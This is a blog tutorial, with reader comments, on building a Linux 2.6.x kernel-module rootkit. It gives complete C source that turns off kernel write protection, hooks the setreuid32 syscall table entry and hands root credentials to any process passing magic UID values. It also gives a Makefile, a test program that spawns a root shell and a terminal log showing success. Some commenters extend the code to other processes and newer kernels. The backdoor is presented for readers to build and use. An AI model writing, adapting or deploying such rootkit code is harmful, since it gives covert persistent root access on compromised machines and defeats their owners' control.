Syscall Hijacking: Simple Rootkit (kernel 2.6.x)
Hi. In this post I’ll show you how to change the process credentials through kernel modules. In a such way you can make your own rootkit(s): i.e. when you performs a pre-established action, the module will give you a root access.
First of all we need to know where these credentials are kept: in the kernel versions < 2.6.29 we find all this informations in the “task_struct” structure. This structure is defined in “linux/sched.h”:
struct task_struct { volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */ void *stack; atomic_t usage; unsigned int flags; /* per process flags, defined below */ unsigned int ptrace; ... struct list_head children; /* list of my children */ struct list_head sibling; /* linkage in my parent's children list */ struct task_struct *group_leader; /* threadgroup leader */ ... /* process credentials */ uid_t uid,euid,suid,fsuid; gid_t gid,egid,sgid,fsgid; struct group_info *group_info; ... };
In this structure are maintained all the task informations: some of these are the process credentials like the UID, EUID, ecc…
So if we’ll modify this field we can also modify the process credentials. We can set this field to 0 (root) as follows:
current->uid = current->gid = 0; current->euid = current->egid = 0; current->suid = current->sgid = 0; current->fsuid = current->fsgid = 0;
Where “current” is macro for the task struct of the current process.
Previously I have specified “in the kernel versions < 2.6.29”, now you might ask: but the newer ones?
Since from the kernel versions >= 2.6.29 the “task_struct” was changed: this happens because was changed the logic of how access to the process credentials.
I suggest to read this paper (very very short paper) that explain detailed the new way to access/change the process credentials.
Now we have a new structure in the “task_struct”:
struct task_struct { ... const struct cred *cred; /* effective (overridable) subjective task * credentials (COW) */ ... };
The new structure “cred” is defined in “linux/cred.h”:
struct cred { ... uid_t uid; /* real UID of the task */ gid_t gid; /* real GID of the task */ uid_t suid; /* saved UID of the task */ gid_t sgid; /* saved GID of the task */ uid_t euid; /* effective UID of the task */ gid_t egid; /* effective GID of the task */ uid_t fsuid; /* UID for VFS ops */ gid_t fsgid; /* GID for VFS ops */ ...
In this struct we can find all the process credentials: we can modify them in this way:
struct cred *new; new = prepare_creds(); if ( new != NULL ) { new->uid = new->gid = 0; new->euid = new->egid = 0; new->suid = new->sgid = 0; new->fsuid = new->fsgid = 0; commit_creds(new); }
Now I’ll explain the used functions through the paper.
The “prepare_creds()”:
To alter the current process's credentials, a function should first prepare a new set of credentials by calling: struct cred *prepare_creds(void); this locks current->cred_replace_mutex and then allocates and constructs a duplicate of the current process's credentials, returning with the mutex still held if successful. It returns NULL if not successful (out of memory).
The “commit_creds()”:
When the credential set is ready, it should be committed to the current process by calling: int commit_creds(struct cred *new); This will alter various aspects of the credentials and the process, giving the LSM a chance to do likewise, then it will use rcu_assign_pointer() to actually commit the new credentials to current->cred, it will release current->cred_replace_mutex to allow ptrace() to take place, and it will notify the scheduler and others of the changes. This function is guaranteed to return 0, so that it can be tail-called at the end of such functions as sys_setresuid().
We have now enough informations to create our first rootkit. Our rootkit will give us root credentials when we invoke a new shell with RUID == 3410 && EUID == 0143. We only need to hijack the “__NR_setreuid32” syscall and check for the ruid and euid.
I have shown two ways to change the process credentials: we can unify them in a single kernel module simply checking for the kernel version using this macro:
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) ... #else ... #endif
Now we can write the rootkit “rootkit.c”:
#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/errno.h> #include <linux/version.h> #include <linux/types.h> #include <linux/unistd.h> #include <asm/cacheflush.h> #include <asm/page.h> #include <linux/sched.h> #include <linux/kallsyms.h> unsigned long *syscall_table = (unsigned long *)0xc05d3180; asmlinkage int (* orig_setreuid) (uid_t ruid, uid_t euid); asmlinkage int new_setreuid (uid_t ruid, uid_t euid) { struct cred *new; if ((ruid == 3410) && (euid == 0143)) { printk(KERN_ALERT "[Correct] \n"); #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) current->uid = current -> gid = 0; current -> euid = current -> egid = 0; current -> suid = current -> sgid = 0; current -> fsuid = current -> fsgid = 0; #else new = prepare_creds(); if ( new != NULL ) { new->uid = new->gid = 0; new->euid = new->egid = 0; new->suid = new->sgid = 0; new->fsuid = new->fsgid = 0; commit_creds(new); } #endif return orig_setreuid (0, 0); } return orig_setreuid (ruid, euid); } static int init(void) { printk(KERN_ALERT "\nHIJACK INIT\n"); write_cr0 (read_cr0 () & (~ 0x10000)); orig_setreuid = syscall_table [__NR_setreuid32]; syscall_table [__NR_setreuid32] = new_setreuid; write_cr0 (read_cr0 () | 0x10000); return 0; } static void exit(void) { write_cr0 (read_cr0 () & (~ 0x10000)); syscall_table[__NR_setreuid32] = orig_setreuid; write_cr0 (read_cr0 () | 0x10000); printk(KERN_ALERT "MODULE EXIT\n"); return; } module_init(init); module_exit(exit);
I suggest to read my previous post to better understand this code.
The Makefile:
obj-m := rootkit.o KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) default: $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules
A simple script to test it (“test.c”):
#include int main () { setreuid (3410, 0143); system ("/bin/sh"); return 0; }
Now I compile the kernel module:
spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ make make -C /lib/modules/2.6.35-24-generic/build SUBDIRS=/home/spaccio/Hacking/Syscall_Hijack/mod modules make[1]: ingresso nella directory "/usr/src/linux-headers-2.6.35-24-generic" CC [M] /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.o /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c: In function ‘init’: /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c:63: warning: assignment makes pointer from integer without a cast /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c:64: warning: assignment makes integer from pointer without a cast /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c: In function ‘exit’: /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.c:75: warning: assignment makes integer from pointer without a cast Building modules, stage 2. MODPOST 1 modules CC /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.mod.o LD [M] /home/spaccio/Hacking/Syscall_Hijack/mod/rootkit.ko make[1]: uscita dalla directory "/usr/src/linux-headers-2.6.35-24-generic" spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$
I compile the script:
spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ gcc test.c -o test
And finally test all:
spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ sudo insmod rootkit.ko spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod$ ./test # whoami root # exit spaccio@spaccio-laptop:~/Hacking/Syscall_Hijack/mod
Enjoy this: for any questions use comments.
Bye.
Thanks for sharing this information with me. The article was extremely informative and I look forward to reading more soon.
Thanks again. Laptop Reviews
Hello,
thank you for this really nice article. I was searching a long time for method of doing this stuff under the amd64 architecture. Unfortunately i didn’t found anything. page_rw or write_cr0 seems unusable under 64Bit architectures. Do you know anything about this topic?
I don’t know anything about 64bit architecture because I’ve a 32bit one. Maybe in the future I’ll study about this.
Bye.
I used variables in the “current” struct task_struct like euid, gid. But all of them are equal to zero. Theoretically they should contain values.
What am I missing here?
Do I need to do any initializations for this “current”?
Thanks in advance.
The “current” variables indicate the uid,gid,etc. of the user that it’s calling the system call that we are intercepting (in our case). If the “current” variables are zero then you are already root: this means that you are running the process that calls that syscall (setreuid() in our example) with root previleges (uid = gid = etc = 0).
In our example we are not root and we want to set our ruid and euid to 3410 and 0143 (in order to become root): when the process calls the “__NR_setreuid32” syscall, we intercept it and we assign the root previleges to the process.
You don’t need any initializations for the “current” structure: it’s filled by the kernel, according on what I wrote above.
Have you understand?
Bye.
Thanks styx^ . It was really helpful.
I have a another question.
When I open the same device file using multiple threads of a single process, I receive little different current->pid values in the device driver open function.
PIDs like 27565, 27567, 27569(process with 3 threads).
But in the driver release function, I receive same PIDs like 27565 for all the threads.
What can be the reason for this kind of scenario?
Thanks in advance.
Each thread has an own id: the thread id. You can obtain the id of the current thread with this function:
pthread_t pthread_self(void);
This id is different from the process one.
I don’t have really understand your question but:
1 – If you have a single process with 3 threads, you may have 1 p_id and 3 t_id;
2 – If you have a single process that forks itself in 3 new processes, you may have 4 p_id (1 for the first and 3 for the 3 new processes);
Now: what you mean when you say “But in the driver release function, I receive same PIDs like 27565 for all the threads.”. Can you be more specific? Are you talking about kernel module (so the release function is a module_exit()) or a simple program in user space?
Bye.
styx^,
Sorry for not specifying you the correct information. I am taking about a character driver module which can be accessed by a device file. The application is a single process with multiple threads.
When I open the device file with the main thread which the application is running, driver module open function gives me current->pid like 22746. But when I open the same device file with one of thread s created, driver open function gives me pid like 22746 + 2 value. But when I close the device file in the application, the driver release function gives me a pid from current->pid like 22746 for all the threads including main thread of the application.
Do you know the reason for this kind of scenario?
Thanks.
No, I’m sorry.
where to put this rootkit.c and make file
Hello… intresting article… i try it on my distro ubuntu but i have this error…
$ make
make -C /lib/modules/2.6.35-22-generic/build SUBDIRS=/home/pava modules
make[1]: ingresso nella directory “/usr/src/linux-headers-2.6.35-22-generic”
CC [M] /home/pava/rootkit.o
/home/pava/rootkit.c: In function ânew_setreuidâ:
/home/pava/rootkit.c:25: error: missing binary operator before token “get_current”
/home/pava/rootkit.c: In function âinitâ:
/home/pava/rootkit.c:57: warning: assignment makes pointer from integer without a cast
/home/pava/rootkit.c:58: warning: assignment makes integer from pointer without a cast
/home/pava/rootkit.c: In function âexitâ:
/home/pava/rootkit.c:69: warning: assignment makes integer from pointer without a cast
make[2]: *** [/home/pava/rootkit.o] Errore 1
make[1]: *** [_module_/home/pava] Errore 2
make[1]: uscita dalla directory “/usr/src/linux-headers-2.6.35-22-generic”
make: *** [default] Errore 2
$ uname -r
2.6.35-22-generic
any solution ?
Have you copied the source correctly? You have press the “view source” button in order to see the source code correctly and to copy it.
Bye.
It ig good,, i made few changes in it and it worked fine.. :)
Hello there… Have some questions about the above example:
1. the ‘prepare_creds()’ function is used to get (copy in fact) credentials of a CURRENT process (the one that was just initiated – it actually is finding in stack with ‘prepare_creds()’). So how can we alter credentials of the random process? For example if we find some process by pid in kernel module like that:
#define PID 1234
struct task_struct *task;
for_each_process(task) {
if (task->pid == PID) {
…
}
}
PS – I also used read_lock(&tasklist_lock) (= 2.6.18) not to make task structures to change while my module s trying to get it`s credentials.
2. I tried to use some API functions from kernel linux/cred.h to alter my test process credentials (found by pid), but I can`t find out how to save the changes – commit_creds() also save changes of the CURRENT process (substitute cred AND real_cred pointers).
PS – I used ‘prepare_kernel_cred(task_struct *task)’ function to get ‘struct cred’ of the task
3. When I tried just to change the pointers (task->real_cred, task->cred – I know its not good cause they`re static:) ) – the example with changing only task->cred works fine (2.6.35) – but in fact process credentials didn`t change (‘ps aux’ looks only for task->real_cred, but in fact process has root privileges and this privileges don`t change back).
When I changed both pointers – I got ooops, but ONLY when I exited the /bin/sh (in your userspace-example) – before that all looked fine.
So summarize:
How to change credentials of the process found by pid or whatever else?
By the way – syscall hooks works fine – thanx for the article.
> PS – I also used read_lock(&tasklist_lock) (= 2.6.18) not to make task structures to change while my module s trying to get it`s credentials.
read_lock(&tasklist_lock) (=2.6.18)
sorry – some bug leaving reply
read_lock(&tasklist_lock) (less 2.6.18)
rcu_read_lock() (above 2.6.18)
This no longer works in contemporary kernels (3.13)
You can’t assign 0 to the various uid and gid fields because they are of type kuid_t and kgid_t, respectively. So now you have to deal with namespaces. Generate a kuid_t with make_kuid(current_user_namespace(), 0) in place of 0.
Today when I use ubuntu 15.10 (kernel version 4.2) to test the codes,I find two issues.Firstly the ‘kmalloc’ and ‘kfree’ functions are not found.So I insert the header file ”。The next issue is that the mumbers of the ‘new’ structure pointer (4 groups uid and gid) can’t be valued.The compiler tell me about “error: incompatible types when assigning to type ‘kgid_t {aka struct }’ from type ‘int’”.So I use the ‘GLOBAL_ROOT_UID’ and ‘GLOBAL_ROOT_GID’ to replace the ‘0’.I know this post is about kernel 2.6.*.But I also want to confirm it can work on other kernel version.Thanks very much!!!